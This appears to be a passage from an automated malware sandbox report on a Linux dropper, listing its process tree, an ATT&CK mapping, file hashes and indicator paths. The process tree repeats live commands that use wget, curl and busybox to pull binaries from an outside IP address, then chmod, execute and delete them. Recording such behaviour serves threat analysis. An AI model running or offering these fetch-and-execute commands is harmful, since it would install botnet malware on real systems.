  chmod 777 NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  ./NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  PID:955
- /bin/chmod
  chmod 777 sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  ./sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
  2⤵
  PID:958
- /usr/bin/wget
  wget http://87.120.84.230/bins/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  PID:961
- /bin/chmod
  chmod 777 Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  ./Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
  2⤵
  PID:964
- /usr/bin/wget
  wget http://87.120.84.230/bins/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  PID:967
- /bin/chmod
  chmod 777 UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  ./UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
  2⤵
  PID:970

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ

Path /tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ	727	NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
/tmp/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j	735	sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
/tmp/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di	741	Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
/tmp/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR	763	UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR
/tmp/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar	786	yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
/tmp/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW	807	E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
/tmp/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY	813	EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
/tmp/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu	823	1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
/tmp/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d	845	FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
/tmp/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc	861	kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
/tmp/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj	867	uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
/tmp/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU	873	QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
/tmp/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO	879	Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
/tmp/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH	885	bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
/tmp/yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar	891	yax2yLqAEGSIrQgnU1VyP8NobhAb74D0ar
/tmp/E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW	897	E0hLfwgFRpneb3m9lzPzGjSoCstaDqrfAW
/tmp/EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY	903	EGost1sTXDsH2b8X5m1ECwico66Mjs2RmY
/tmp/1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu	909	1CE41rLaZkeoyNKmyYqC9b0WtLwasX1QJu
/tmp/Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO	915	Jro8wl5QIe7pi0JidZkEbncaqNjJSsFjHO
/tmp/bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH	921	bHPLa0afXYCmGdRJsjmRRQjilbalNXBSAH
/tmp/FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d	927	FLKYOfT4ucqdRS7oliTQy9lj5B2WG6vy7d
/tmp/kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc	933	kfnPKfJy2OjcuuXFmk9bOkmx1HyVZMg4Nc
/tmp/uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj	939	uevL4B8qLs4xVHYhUngVn1NRVqVPA3uIdj
/tmp/QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU	945	QYOxXFwcXBq4z5HnKuW18RbrmZdyZ8tGYU
/tmp/NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ	951	NzE4S1HqAuTbIdpkp4eqQuwbsHSzjsIENZ
/tmp/sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j	957	sm6cPXOBEn8iBLmIS0vsAlutyRYSOYBm6j
/tmp/Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di	963	Bj8nME0lAe04KZbmbp2cQQCbvnofHNd5di
/tmp/UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR	969	UT94wIhygFy341AXcLUiJ8zSsR02qN7cQR